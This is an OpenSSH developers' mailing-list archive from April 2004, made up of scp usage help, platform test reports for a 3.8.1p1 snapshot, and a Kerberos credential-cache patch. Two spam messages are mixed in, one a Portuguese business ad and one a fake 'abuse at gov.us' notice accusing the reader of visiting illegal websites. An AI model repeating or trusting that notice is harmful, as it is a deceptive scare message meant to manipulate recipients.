Date: Tue, 13 Apr 2004 16:19:28 -0500 (CDT)
Subject: scp problem
In-Reply-To: <5E045A9F7D28F04A8B22115B7E86434A39DBDB@srpexc2.srp.gov>
Message-ID: <Pine.BSO.4.44.0404131618070.5163-100000@etoh.eviladmin.org>



On Tue, 13 Apr 2004, ANDERSON RUSSELL D (ANDY) wrote:

> RCSID("$OpenBSD: scp.c,v 1.113 2003/11/23 23:21:21 djm Exp $");
> Part of the OpenSSH_3.8p1, SSH protocols 1.5/2.0, OpenSSL 0.9.7c 30 Sep 2003 distribution
>
> Could someone verify this case we found that causes a file to be missed during copying?
>
> Here is the setup to replicate the problem:
>
> On hosta /tmp:
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file0
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file1
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file2
>
> On hostb /tmp:
> 	-rw-rw-r--   1 user02 group02       0 Apr 13 10:44 file0
>
> 	cd /tmp
> 	scp -p hosta:/tmp/file* .
>

Before scp sees it the arguments are expanded by your shell to:

		scp -p hosta:/tmp/file0 .

Thus it will not copy anything else.

scp -p 'hosta:/tmp/file*' .   may be more useful in this case for you.

- Ben



From smoogen at lanl.gov  Wed Apr 14 12:40:25 2004
From: smoogen at lanl.gov (Stephen Smoogen)
Date: Tue, 13 Apr 2004 20:40:25 -0600 (MDT)
Subject: GSSAPI Re: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <Pine.LNX.4.58.0404132037120.12522@smoogen1.lanl.gov>

On Wed, 14 Apr 2004, Darren Tucker wrote:

>Hello All.
>	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily a 
>bug fix release and we're asking for interested parties to try a 
>snapshot [1].  A reminder: we rely on community feedback to find out 
>about problems, particularly as there are many platforms any 
>configurations that we don't have access to and can't test.
>
>	In most cases, running the built-in tests is as simple as "./configure 
>&& make tests", but actually using it will provide a better test for 
>your environment.  Both would be ideal, but either one is far better 
>than neither.
>
>	In particular, on HP-UX configure will now attempt to detect a working 
>getnameinfo(), so if you are using IPv6 on HP-UX please see if it 
>detects correctly for your environment.
>
>	Thanks,

Thanks guys.  I will try some RPMS soon.

I have a quick question for GSSAPI implementation (which is more aimed 
at Simon and other people and not the core :)). What is the functional 
difference between the current GSSAPI implementation and the one that 
was with 3.6p2 with Simons patch? 






-- 
Stephen John Smoogen		smoogen at lanl.gov
Los Alamos National Lab  CCN-5 Sched 5/40  PH: 4-0645
Ta-03 SM-1498 MailStop B255 DP 10S  Los Alamos, NM 87545
-- You should consider any operational computer to be a security problem --



From dnetuxfirstb at santa.com.br  Wed Apr 14 18:09:17 2004
From: dnetuxfirstb at santa.com.br (Jaime C. Oliveira)
Date: Wed, 14 Apr 2004 05:09:17 -0300
Subject: Rendimento com Internet
Message-ID: <20040414083518.AA57527C188@shitei.mindrot.org>

Empresa procura Pessoas, Profissionais e Empres?rios, para Trabalho e
Parceria com E-Business, usando a Internet.
Detalhes no site ou na Apresenta??o Gratuita em S?o Paulo.

Visite: http://www.hipernegocio.net

Jaime C. Oliveira
WTRCorp - D?vidas pelo email wtrcorp at ibest.com.br





Para ser removido de futuros correios, por favor, envie email para
ngtcad at ibest.com.br, com o assunto REMOVER. Obrigado.



From RXANDERS at srpnet.com  Thu Apr 15 01:44:01 2004
From: RXANDERS at srpnet.com (ANDERSON RUSSELL D (ANDY))
Date: Wed, 14 Apr 2004 08:44:01 -0700
Subject: scp problem
Message-ID: <5E045A9F7D28F04A8B22115B7E86434A373C31@srpexc2.srp.gov>

I don't believe that to be true as file2 was copied per the message.

-----Original Message-----
From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
Sent: Tuesday, April 13, 2004 2:19 PM
To: ANDERSON RUSSELL D (ANDY)
Cc: openssh-unix-dev at mindrot.org
Subject: Re: scp problem




On Tue, 13 Apr 2004, ANDERSON RUSSELL D (ANDY) wrote:

> RCSID("$OpenBSD: scp.c,v 1.113 2003/11/23 23:21:21 djm Exp $");
> Part of the OpenSSH_3.8p1, SSH protocols 1.5/2.0, OpenSSL 0.9.7c 30 Sep 2003 distribution
>
> Could someone verify this case we found that causes a file to be missed during copying?
>
> Here is the setup to replicate the problem:
>
> On hosta /tmp:
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file0
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file1
> 	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file2
>
> On hostb /tmp:
> 	-rw-rw-r--   1 user02 group02       0 Apr 13 10:44 file0
>
> 	cd /tmp
> 	scp -p hosta:/tmp/file* .
>

Before scp sees it the arguments are expanded by your shell to:

		scp -p hosta:/tmp/file0 .

Thus it will not copy anything else.

scp -p 'hosta:/tmp/file*' .   may be more useful in this case for you.

- Ben





From abuse at gov.us  Thu Apr 15 05:34:35 2004
From: abuse at gov.us (abuse at gov.us)
Date: Wed, 14 Apr 2004 20:34:35 +0100
Subject: Illegal Website
Message-ID: <20040414193447.F2C6227C188@shitei.mindrot.org>

I noticed that you have visited illegal websites.
See the name in the list!


From vinschen at redhat.com  Fri Apr 16 02:15:23 2004
From: vinschen at redhat.com (Corinna Vinschen)
Date: Thu, 15 Apr 2004 18:15:23 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <20040415161523.GW26558@cygbert.vinschen.de>

On Apr 14 00:42, Darren Tucker wrote:
> Hello All.
> 	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily 
> 	a bug fix release and we're asking for interested parties to try a 
> snapshot [1].  A reminder: we rely on community feedback to find out 
> about problems, particularly as there are many platforms any 
> configurations that we don't have access to and can't test.
> 
> 	In most cases, running the built-in tests is as simple as 
> 	"./configure && make tests", but actually using it will provide a better 
> test for your environment.  Both would be ideal, but either one is far 
> better than neither.

Current CVS, linked against OpenSSL 0.9.7d, looks good on Cygwin.
Just one expected fail in the testsuite when trying to copy a file
with quotes (illegal character in filenames on Windows filesystems).

Corinna

-- 
Corinna Vinschen
Cygwin Co-Project Leader
Red Hat, Inc.



From sxw at inf.ed.ac.uk  Fri Apr 16 05:52:36 2004
From: sxw at inf.ed.ac.uk (sxw at inf.ed.ac.uk)
Date: Thu, 15 Apr 2004 20:52:36 +0100 (BST)
Subject: GSSAPI Re: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <Pine.LNX.4.58.0404132037120.12522@smoogen1.lanl.gov>
Message-ID: <Pine.LNX.4.44.0404152046050.32468-100000@hadrian.inf.ed.ac.uk>

On Tue, 13 Apr 2004, Stephen Smoogen wrote:

> I have a quick question for GSSAPI implementation (which is more aimed 
> at Simon and other people and not the core :)). What is the functional 
> difference between the current GSSAPI implementation and the one that 
> was with 3.6p2 with Simons patch? 

They're not compatible :-(

3.6p2 with my patches implements the user authentication mechanisms 
'gssapi' and 'external-keyex'. Both of these are now deprecated, and 
aren't included in the current SSH GSSAPI internet draft. In addition, 
patched 3.6p2 implements GSSAPI key exchange, which isn't supported by 
vanilla 3.8. I intend on releasing patches for 3.8 implementing key 
exchange just as soon as I have enough time.

3.8 implements the 'gssapi-with-mic' authentication mechanism. This is 
identical to the 'gssapi' mechanism of patched 3.6, with the exception 
that it uses a MIC to tie the negotiated GSSAPI authentication context 
to the underlying SSH session. This additional step is necessary to 
prevent certain MITM attacks.

I posted a patch to this list a while back which adds backwards 
compatibility support for 'gssapi' userauth mechanisms to 3.8.

Cheers,

Simon.








From djm at mindrot.org  Fri Apr 16 08:18:42 2004
From: djm at mindrot.org (Damien Miller)
Date: Fri, 16 Apr 2004 08:18:42 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <407F0A42.9040708@mindrot.org>

Hi,

So far we have received only *one* test report as a result of this call
for testing (thanks Corinna).

We absolutely need wider testing of releases. While we try to test on as
many platforms as possible, there is no way we can get them all. If you
want the next stable OpenSSH to work for you, then please help out.

Also, I know representatives from various OS distributors are on this
list. You are very well situated to perform these tests and IMO should
be doing so, if only to reduce your own workload in backporting fixes
that are needed because of insufficient testing.

Downloading a snapshot, compiling and running the tests takes a few
minutes only and makes a great difference to the quality of our
releases. Please take the time to assist.

-d

Darren Tucker wrote:
> Hello All.
> 	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily a 
> bug fix release and we're asking for interested parties to try a 
> snapshot [1].  A reminder: we rely on community feedback to find out 
> about problems, particularly as there are many platforms any 
> configurations that we don't have access to and can't test.
> 
> 	In most cases, running the built-in tests is as simple as "./configure 
> && make tests", but actually using it will provide a better test for 
> your environment.  Both would be ideal, but either one is far better 
> than neither.
> 
> 	In particular, on HP-UX configure will now attempt to detect a working 
> getnameinfo(), so if you are using IPv6 on HP-UX please see if it 
> detects correctly for your environment.
> 
> 	Thanks,
> 		-Daz.
> 
> Bugs fixed in this release:
> #748 HP-UX 11.11 (aka 11i) needs BROKEN_GETADDRINFO.
> #802 sshd configured with SIA doesn't link on Tru64.
> #808 segfault if not using pam/kbdint mech and password's expired
> #810 TZ environment variable not being set.
> #811 locked /etc/shadow password prefix on linux.
> #820 utmp seems to be getting clobbered on logins (IRIX)
> #825 OpenSSH 3.8p1 breaks on Solaris 8 with 4in6 mapped addresses.
> 
> [1] ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/snapshot/
> or one of its mirrors listed at
> http://www.openssh.com/portable.html#mirrors



From jason at devrandom.org  Fri Apr 16 10:05:19 2004
From: jason at devrandom.org (Jason McCormick)
Date: Thu, 15 Apr 2004 20:05:19 -0400
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407F0A42.9040708@mindrot.org>
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
Message-ID: <200404152005.19381.jason@devrandom.org>

  I'm getting a 'make tests' error on Gentoo.  Output as follows:

# make -f Makefile.in distprep
# ./configure --prefix=/usr --with-pam --with-md5-passwords \ 
	--with-privsep-path=/var/empty/sshd/ --sysconfdir=/etc \
# make && make tests

<<OUTPUT OF COMPILE>>

<<OUTPUT OF TESTS>>

run test dynamic-forward.sh ...
Waiting for forwarded connections to terminate...
The following connections are open:
  #1 direct-tcpip: listening port 4243 for localhost port 4242, connect 
from 127.0.0.1 port 37300 (t4 r2 i0/0 o3/0 fd 10/10)
FATAL: Connection closed by peer.
ssh_exchange_identification: Connection closed by remote host
cmp: EOF on /home/jason/code/openssh/regress/ls.copy
corrupted copy of /bin/ls
FATAL: Unable to connect to relay host, errno=111
ssh_exchange_identification: Connection closed by remote host
cmp: EOF on /home/jason/code/openssh/regress/ls.copy
corrupted copy of /bin/ls
FATAL: Unable to connect to relay host, errno=111
ssh_exchange_identification: Connection closed by remote host
cmp: EOF on /home/jason/code/openssh/regress/ls.copy
corrupted copy of /bin/ls
FATAL: Unable to connect to relay host, errno=111
ssh_exchange_identification: Connection closed by remote host
cmp: EOF on /home/jason/code/openssh/regress/ls.copy
corrupted copy of /bin/ls
failed dynamic forwarding
make[1]: *** [t-exec] Error 1
make[1]: Leaving directory `/home/jason/code/openssh/regress'

I'm fairly certain I ran the test correctly.  Let me know if this is a 
problem or I just did something stupid.

-- 
Jason McCormick 
jason at devrandom.org
GPG Key ID: 96D6CF63



From jason at devrandom.org  Fri Apr 16 10:32:33 2004
From: jason at devrandom.org (Jason McCormick)
Date: Thu, 15 Apr 2004 20:32:33 -0400
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <200404152005.19381.jason@devrandom.org>
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<200404152005.19381.jason@devrandom.org>
Message-ID: <200404152032.33570.jason@devrandom.org>

  FYI - ran the same test on Fedora Core1 and it completed successfully.

On Thursday 15 April 2004 08:05 pm, Jason McCormick wrote:
>   I'm getting a 'make tests' error on Gentoo.  Output as follows:
>
> # make -f Makefile.in distprep
> # ./configure --prefix=/usr --with-pam --with-md5-passwords \
> 	--with-privsep-path=/var/empty/sshd/ --sysconfdir=/etc \
> # make && make tests
>
> <<OUTPUT OF COMPILE>>
>
> <<OUTPUT OF TESTS>>
>
> run test dynamic-forward.sh ...
> Waiting for forwarded connections to terminate...
> The following connections are open:
>   #1 direct-tcpip: listening port 4243 for localhost port 4242,
> connect from 127.0.0.1 port 37300 (t4 r2 i0/0 o3/0 fd 10/10)
> FATAL: Connection closed by peer.
> ssh_exchange_identification: Connection closed by remote host
> cmp: EOF on /home/jason/code/openssh/regress/ls.copy
> corrupted copy of /bin/ls
> FATAL: Unable to connect to relay host, errno=111
> ssh_exchange_identification: Connection closed by remote host
> cmp: EOF on /home/jason/code/openssh/regress/ls.copy
> corrupted copy of /bin/ls
> FATAL: Unable to connect to relay host, errno=111
> ssh_exchange_identification: Connection closed by remote host
> cmp: EOF on /home/jason/code/openssh/regress/ls.copy
> corrupted copy of /bin/ls
> FATAL: Unable to connect to relay host, errno=111
> ssh_exchange_identification: Connection closed by remote host
> cmp: EOF on /home/jason/code/openssh/regress/ls.copy
> corrupted copy of /bin/ls
> failed dynamic forwarding
> make[1]: *** [t-exec] Error 1
> make[1]: Leaving directory `/home/jason/code/openssh/regress'
>
> I'm fairly certain I ran the test correctly.  Let me know if this is
> a problem or I just did something stupid.

-- 
Jason McCormick 
jason at devrandom.org
GPG Key ID: 96D6CF63



From dtucker at zip.com.au  Fri Apr 16 10:43:31 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 16 Apr 2004 10:43:31 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <200404152005.19381.jason@devrandom.org>
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<200404152005.19381.jason@devrandom.org>
Message-ID: <407F2C33.4050806@zip.com.au>

Jason McCormick wrote:

>   I'm getting a 'make tests' error on Gentoo.  Output as follows:
[..]
> I'm fairly certain I ran the test correctly.  Let me know if this is a 
> problem or I just did something stupid.

Yep, that looks like a real problem.

We need more info about what's going on and unfortunately the tests 
don't give much info by default.

Please edit test-exec.sh: put "set -x" at the top of the file, change 
"LogLevel QUIET" to "LogLevel verbose" (at line 165 or so) then run 
"make tests" again.

When it stops, cut-and-paste the failing command, add "-vvv" to the 
command line and run it again.

Between the output from that and sshd logging (/var/log/authlog or 
wherever sshd normally logs to) it should tell you what's failing (and 
hopefully why).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From jdvf at optonline.net  Fri Apr 16 12:26:12 2004
From: jdvf at optonline.net (John Devitofranceschi)
Date: Thu, 15 Apr 2004 22:26:12 -0400
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407F0A42.9040708@mindrot.org>
Message-ID: <001001c4235a$32690a30$6301a8c0@rover>


Ran configure (--with-kerberos5) and tests on:

SunOS 5.10 s10_52 i386 i86pc (Solaris Express 03/04 (a.k.a. Beta 2, I
think))

Darwin 7.3.0 powerpc (a.k.a. MacOS 10.3)


No test errors, however, when using password auth + Kerberos, the KRB5CCNAME
env var is set to "/tmp/krb5cc_uid_random" rather than
"FILE:/tmp/krb5cc_uid_random"

This is fine on Solaris, but confuses the Kerberos utilities on Darwin,
which want to use "API:/tmp/krb5cc_uid_random" in the absence of "FILE:".
Not certain who's problem this is...

jd




From dtucker at zip.com.au  Fri Apr 16 12:55:29 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 16 Apr 2004 12:55:29 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <001001c4235a$32690a30$6301a8c0@rover>
References: <001001c4235a$32690a30$6301a8c0@rover>
Message-ID: <407F4B21.30507@zip.com.au>

John Devitofranceschi wrote:

> This is fine on Solaris, but confuses the Kerberos utilities on Darwin,
> which want to use "API:/tmp/krb5cc_uid_random" in the absence of "FILE:".
> Not certain who's problem this is...

Hmm, auth-krb5.c sets FILE:
snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid());

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From htodd at twofifty.com  Fri Apr 16 13:21:42 2004
From: htodd at twofifty.com (Hisashi T Fujinaka)
Date: Thu, 15 Apr 2004 20:21:42 -0700 (PDT)
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <Pine.NEB.4.58.0404152021080.15653@kerry>

No problems on Solaris 2.6 on an old SS5 clone.

-- 
Hisashi T Fujinaka - htodd at twofifty.com
BSEE(6/86) + BSChem(3/95) + BAEnglish(8/95) + MSCS(8/03) + $2.50 = latte



From jdvf at optonline.net  Fri Apr 16 13:51:57 2004
From: jdvf at optonline.net (John Devitofranceschi)
Date: Thu, 15 Apr 2004 23:51:57 -0400
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407F4B21.30507@zip.com.au>
Message-ID: <001101c42366$2d73b2d0$6301a8c0@rover>


The environment is set in session.c (line 1096):

        if (s->authctxt->krb5_ticket_file)
                child_set_env(&env, &envsize, "KRB5CCNAME",
                    s->authctxt->krb5_ticket_file);

s->authctxt->krb5_ticket_file is just the file name, sans "FILE:

jd

-----Original Message-----
From: openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org
[mailto:openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org] On Behalf
Of Darren Tucker
Sent: Thursday, April 15, 2004 10:55 PM
To: John Devitofranceschi
Cc: 'OpenSSH Devel List'
Subject: Re: OpenSSH 3.8.1p1: call for testing


John Devitofranceschi wrote:

> This is fine on Solaris, but confuses the Kerberos utilities on 
> Darwin, which want to use "API:/tmp/krb5cc_uid_random" in the absence 
> of "FILE:". Not certain who's problem this is...

Hmm, auth-krb5.c sets FILE:
snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid());

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

_______________________________________________
openssh-unix-dev mailing list
openssh-unix-dev at mindrot.org
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




From openssh at roumenpetrov.info  Fri Apr 16 15:04:29 2004
From: openssh at roumenpetrov.info (Roumen Petrov)
Date: Fri, 16 Apr 2004 08:04:29 +0300
Subject: Patch Status
In-Reply-To: <20040413195146.71485.qmail@web41108.mail.yahoo.com>
References: <20040413195146.71485.qmail@web41108.mail.yahoo.com>
Message-ID: <407F695D.7030004@roumenpetrov.info>

Hi Curtis,

But you x.509 certificate don't match private key ! =-O




C S wrote:

>When is the x.509 patch going to become part of the
>main 
>distribution of OpenSSH, and if not, why?  Looks like
>other
>projects i.e. OpenSC might be using it now as well.
>
>Secondly, thought I'd try it again, new patch
>(Validator), same error...
>  
>
>[SNIP]
>  
>

-- 
Get X.509 certificate support in OpenSSH:
http://roumenpetrov.info/openssh




From dtucker at zip.com.au  Fri Apr 16 16:54:43 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 16 Apr 2004 16:54:43 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <001101c42366$2d73b2d0$6301a8c0@rover>
References: <001101c42366$2d73b2d0$6301a8c0@rover>
Message-ID: <407F8333.6040801@zip.com.au>

John Devitofranceschi wrote:

> The environment is set in session.c (line 1096):
> 
>         if (s->authctxt->krb5_ticket_file)
>                 child_set_env(&env, &envsize, "KRB5CCNAME",
>                     s->authctxt->krb5_ticket_file);
> 
> s->authctxt->krb5_ticket_file is just the file name, sans "FILE:

Instead of rebuilding KRB5CCNAME, what about storing it like so?

Someone with more Kerberos knowledge than me (ie any at all :-) want to 
comment?

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: openssh-krb5ccname.patch
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040416/8ad102a4/attachment.ksh 

From sxw at inf.ed.ac.uk  Fri Apr 16 19:55:54 2004
From: sxw at inf.ed.ac.uk (sxw at inf.ed.ac.uk)
Date: Fri, 16 Apr 2004 10:55:54 +0100 (BST)
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407F8333.6040801@zip.com.au>
Message-ID: <Pine.LNX.4.44.0404161028520.12045-200000@hadrian.inf.ed.ac.uk>

On Fri, 16 Apr 2004, Darren Tucker wrote:

> Someone with more Kerberos knowledge than me (ie any at all :-) want to 
> comment?

The patch attached to your email only fixes the problem in the MIT 
Kerberos branch of the #ifdef. Given that we currently constrain ourselves 
to 'FILE' based ccname operations, the attached patch should probably do
the trick. It's based on a similar patch that was committed to the GSSAPI 
code to fix bug #698.

In the longer run, we should probably look at unifying the auth-krb5 and 
gss-serv-krb5 code to use common credentials cache handling routines. I'm 
planning on taking a look at this at some point.

Cheers,

Simon.


-------------- next part --------------
Index: auth.h
===================================================================
RCS file: /cvs/openssh/auth.h,v
retrieving revision 1.60
diff -u -r1.60 auth.h
--- auth.h	21 Feb 2004 23:22:05 -0000	1.60
+++ auth.h	16 Apr 2004 09:49:05 -0000
@@ -66,6 +66,7 @@
 	krb5_ccache	 krb5_fwd_ccache;
 	krb5_principal	 krb5_user;
 	char		*krb5_ticket_file;
+	char		*krb5_ccname;
 #endif
 	void		*methoddata;
 };
Index: session.c
===================================================================
RCS file: /cvs/openssh/session.c,v
retrieving revision 1.275
diff -u -r1.275 session.c
--- session.c	23 Feb 2004 13:01:27 -0000	1.275
+++ session.c	16 Apr 2004 09:49:05 -0000
@@ -1085,9 +1085,9 @@
 	}
 #endif
 #ifdef KRB5
-	if (s->authctxt->krb5_ticket_file)
+	if (s->authctxt->krb5_ccname)
 		child_set_env(&env, &envsize, "KRB5CCNAME",
-		    s->authctxt->krb5_ticket_file);
+		    s->authctxt->krb5_ccname);
 #endif
 #ifdef USE_PAM
 	/*
Index: auth-krb5.c
===================================================================
RCS file: /cvs/openssh/auth-krb5.c,v
retrieving revision 1.21
diff -u -r1.21 auth-krb5.c
--- auth-krb5.c	22 Nov 2003 01:11:06 -0000	1.21
+++ auth-krb5.c	16 Apr 2004 09:49:05 -0000
@@ -70,6 +70,7 @@
 #endif
 	krb5_error_code problem;
 	krb5_ccache ccache = NULL;
+	int len;
 
 	if (!authctxt->valid)
 		return (0);
@@ -175,6 +176,9 @@
 
 	authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);
 
+	len = strlen(authctxt->krb5_ticket_file) + 6;
+	authctxt->krb5_ccname = xmalloc(len);
+	snprintf(authctxt->krb5_ccname, len, "FILE:%s",authctxt->krb5_ticket_file);
  out:
 	restore_uid();
 

From binder at arago.de  Fri Apr 16 23:13:17 2004
From: binder at arago.de (Thomas Binder)
Date: Fri, 16 Apr 2004 15:13:17 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <20040416131317.GA42656508@ohm.arago.de>

Hi!

On Wed, Apr 14, 2004 at 12:42:44AM +1000, Darren Tucker wrote:
> In most cases, running the built-in tests is as simple as
> "./configure && make tests", but actually using it will provide
> a better test for your environment.  Both would be ideal, but
> either one is far better than neither.

openssh-SNAP-20040415 compiles and passes "make tests" fine on
Sparc Solaris 7.

Configured with:

-- snip --
LIBS=-ldl ./configure  \
        --with-zlib=/opt/zlib-static \
        --with-ssl-dir=/opt/openssl-static \
        --prefix=/usr/local \
        --with-pid-dir=/etc/ssh \
        --sysconfdir=/etc/ssh \
        --with-rand-helper \
        --with-prngd-socket=/var/run/prngd-socket \
        --with-privsep-user=sshd \
        --with-privsep-path=/var/empty \
        --disable-etc-default-login \
        --with-default-path=/usr/bin:/bin:/usr/local/bin \
        --with-superuser-path=/usr/bin:/usr/sbin:/bin:/sbin:/usr/local/bin:/usr/local/sbin \
        --with-pam
-- snap --

Final output of configure:

-- snip --
OpenSSH has been configured with the following options:
                     User binaries: /usr/local/bin
                   System binaries: /usr/local/sbin
               Configuration files: /etc/ssh
                   Askpass program: /usr/local/libexec/ssh-askpass
                      Manual pages: /usr/local/man/manX
                          PID file: /etc/ssh
  Privilege separation chroot path: /var/empty
            sshd default user PATH: /usr/bin:/bin:/usr/local/bin
   (If PATH is set in /etc/default/login it will be used instead. If
   used, ensure the path to scp is present, otherwise scp will not work.)
          sshd superuser user PATH: /usr/bin:/usr/sbin:/bin:/sbin:/usr/local/bin:/usr/local/sbin
                    Manpage format: man
                       PAM support: yes
                 KerberosV support: no
                 Smartcard support: no
                     S/KEY support: no
              TCP Wrappers support: no
              MD5 password support: no
       IP address in $DISPLAY hack: no
           Translate v4 in v6 hack: no
                  BSD Auth support: no
              Random number source: ssh-rand-helper
     ssh-rand-helper collects from: Unix domain socket "/var/run/prngd-socket"

              Host: sparc-sun-solaris2.7
          Compiler: gcc
    Compiler flags: -g -O2 -Wall -Wpointer-arith -Wno-uninitialized
Preprocessor flags: -I/opt/openssl-static/include -I/opt/zlib-static/include
      Linker flags: -L/opt/openssl-static/lib -R/opt/openssl-static/lib -L/opt/zlib-static/lib -R/opt/zlib-static/lib
         Libraries:  -lpam -ldl -lresolv -lcrypto -lrt -lz -lsocket -lnsl -ldl
-- snap --

The "LIBS=-ldl" is necessary because for some reason the static
libcrypto.a contains calls to dlopen() and therefore even the
clients need the libary (configure only added -ldl to $LIBPAM,
which is only used for sshd).


Ciao

Thomas
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 186 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040416/a4722db1/attachment.bin 

From ssklar at stanford.edu  Sat Apr 17 05:54:12 2004
From: ssklar at stanford.edu (Sandor W. Sklar)
Date: Fri, 16 Apr 2004 12:54:12 -0700
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <D590169B-8FDF-11D8-BFD6-000A95B97B2A@stanford.edu>


On Apr 13, 2004, at 7:42 AM, Darren Tucker wrote:

> Hello All.
> 	Portable OpenSSH version 3.8.1p1 nearing release...

========
Summary
========

AIX 5.2 ML1, IBM C for AIX 6 compiler, openssh-SNAP-20040416, all tests  
"ok".

======
Notes
======

*	I had to specify /usr/local/include and /usr/local/lib as CPPFLAGS  
and LDFLAGS; if I didn't, configure wouldn't find zlib.h or libcrypto.a

*	There were a large number of (W)arnings and (I)formation messages  
during the build process, but nothing fatal.

*	I tried out the sshd and the ssh client briefly, and it all worked  
without any obvious problems.

*	looks like another great release!  thanks!

========
Details
========

palatino:/usr/local/src/openssh $ uname -a ; oslevel -r
AIX palatino 2 5 0001DCBA4C00
5200-01

-----

palatino:/usr/local/src/openssh $ lslpp -L vac.C
   Fileset                      Level  State  Type  Description  
(Uninstaller)
    
------------------------------------------------------------------------ 
----
   vac.C                      6.0.0.6    C     F    C for AIX Compiler

-----

palatino:/usr/local/src/openssh $ cat 00BUILD
CC=/usr/bin/cc \
CPPFLAGS=-I/usr/local/include \
LDFLAGS=-L/usr/local/lib \
./configure \
--prefix=/usr/local/stow/openssh-snap \
--sysconfdir=/etc/ssh \
--with-xauth=/usr/bin/X11/xauth \
&& make tests

-----

OpenSSH has been configured with the following options:
                      User binaries: /usr/local/stow/openssh-snap/bin
                    System binaries: /usr/local/stow/openssh-snap/sbin
                Configuration files: /etc/ssh
                    Askpass program:  
/usr/local/stow/openssh-snap/libexec/ssh-askpass
                       Manual pages:  
/usr/local/stow/openssh-snap/man/manX
                           PID file: /var/run
   Privilege separation chroot path: /var/empty
             sshd default user PATH:  
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/stow/openssh-snap/bin
                     Manpage format: man
                        PAM support: no
                  KerberosV support: no
                  Smartcard support: no
                      S/KEY support: no
               TCP Wrappers support: no
               MD5 password support: no
        IP address in $DISPLAY hack: no
            Translate v4 in v6 hack: no
                   BSD Auth support: no
               Random number source: OpenSSL internal ONLY

               Host: powerpc-ibm-aix5.2.0.0
           Compiler: /usr/bin/cc
     Compiler flags: -g
Preprocessor flags: -I/usr/local/include
       Linker flags: -L/usr/local/lib -blibpath:/usr/lib:/lib
          Libraries:   -lcrypto -lz

============================
"make tests" output
============================

("make" output removed, cause the message was too big for the list with  
it; I have the output including the warnings/info messages, if anyone  
wants it.)

...
run test connect.sh ...
ok simple connect
run test proxy-connect.sh ...
ok proxy connect
run test connect-privsep.sh ...
ok proxy connect with privsep
run test proto-version.sh ...
ok sshd version with different protocol combinations
run test proto-mismatch.sh ...
ok protocol version mismatch
run test exit-status.sh ...
test remote exit status: proto 1 status 0
test remote exit status: proto 1 status 1
test remote exit status: proto 1 status 4
test remote exit status: proto 1 status 5
test remote exit status: proto 1 status 44
test remote exit status: proto 2 status 0
test remote exit status: proto 2 status 1
test remote exit status: proto 2 status 4
